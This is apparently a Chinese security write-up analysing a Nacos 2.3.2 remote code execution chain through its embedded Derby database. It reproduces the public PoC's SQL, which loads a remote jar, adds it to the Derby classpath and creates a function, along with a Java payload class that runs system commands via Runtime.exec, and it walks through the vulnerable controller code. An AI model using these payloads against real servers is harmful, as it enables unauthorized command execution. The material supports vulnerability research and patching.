首先下载 poc https://github.com/ayoundzw/nacos-poc
服务 https://github.com/alibaba/nacos/releases/tag/2.3.2
开启调试 修改
1 set "NACOS_OPTS=%NACOS_OPTS% -agentlib:jdwp=transport=dt_socket,address=9000 ,server=y,suspend=n -jar %BASE_DIR% \target\%SERVER% .jar"
看到poc 查看sql语句 这个option_sql自始至终没有用到过
1 2 3 4 5 post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""" .format (id =id ,service=service); option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n" .format (id =id ,cmd=command); get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/" .format (id =id ,cmd=command);
首先
1 CALL sqlj.install_jar('{service}' , 'NACOS.{id}' , 0 )
远程加载一个jar进来
1 CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath' ,'NACOS.{id}' )
将这个类加入到derby.database.classpath
1 CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR (2000 )) RETURNS VARCHAR (2000 ) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
创建一个静态方法 返回值也要是String poc就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package test.poc; import java.io.InputStream; import java.util.Scanner; public class Example { public static String exec (String id) throws Exception{ InputStream inputStream = Runtime.getRuntime().exec(id).getInputStream(); String s = new Scanner (inputStream).next(); return s; } public static void main (String[] args) { System.out.println("aaa" ); } }
在idea里面打包一个类 将生成的jar包重命名为download,然后python -m http.server 5000即可
调试 下载源码 搜索 /nacos/v1/cs/ops/data/removal 在com.alibaba.nacos.config.server.controller.ConfigOpsController#importDerby函数里面,有鉴权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @PostMapping(value = "/data/removal") @Secured(action = ActionTypes.WRITE, resource = "nacos/admin") public DeferredResult<RestResult<String>> importDerby (@RequestParam(value = "file") MultipartFile multipartFile) { DeferredResult<RestResult<String>> response = new DeferredResult <>(); if (!DatasourceConfiguration.isEmbeddedStorage()) { response.setResult(RestResultUtils.failed("Limited to embedded storage mode" )); return response; } DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class); WebUtils.onFileUpload(multipartFile, file -> { NotifyCenter.publishEvent(new DerbyImportEvent (false )); databaseOperate.dataImport(file).whenComplete((result, ex) -> { NotifyCenter.publishEvent(new DerbyImportEvent (true )); if (Objects.nonNull(ex)) { response.setResult(RestResultUtils.failed(ex.getMessage())); return ; } response.setResult(result); }); }, response); return response; }
发现文件上传,有个临时文件看看内容是什么
内容是导入恶意jar包的sql代码
发现在数据导入的时候
通过一行行设置sql代码进入List集合
再次进入doDataImport
进入batchUpdate
调用了execute
调用了BatchUpdateStatementCallback#doInStatement函数 最后调用stmt.executeBatch函数执行数据库操作命令
这样恶意jar就已经加载进入数据库了 再次使用select查询数据库就能执行恶意命令,p牛师傅给出过一个链接https://github.com/alibaba/nacos/issues/4463
存在任意sql执行
1 get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id= id,cmd= command);
所以即可执行命令 现在有鉴权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 @GetMapping(value = "/derby") @Secured(action = ActionTypes.READ, resource = "nacos/admin") public RestResult<Object> derbyOps (@RequestParam(value = "sql") String sql) { String selectSign = "SELECT" ; String limitSign = "ROWS FETCH NEXT" ; String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY" ; try { if (!DatasourceConfiguration.isEmbeddedStorage()) { return RestResultUtils.failed("The current storage mode is not Derby" ); } LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource .getInstance().getDataSource(); if (StringUtils.startsWithIgnoreCase(sql, selectSign)) { if (!StringUtils.containsIgnoreCase(sql, limitSign)) { sql += limit; } JdbcTemplate template = dataSourceService.getJdbcTemplate(); List<Map<String, Object>> result = template.queryForList(sql); return RestResultUtils.success(result); } return RestResultUtils.failed("Only query statements are allowed to be executed" ); } catch (Exception e) { return RestResultUtils.failed(e.getMessage()); } }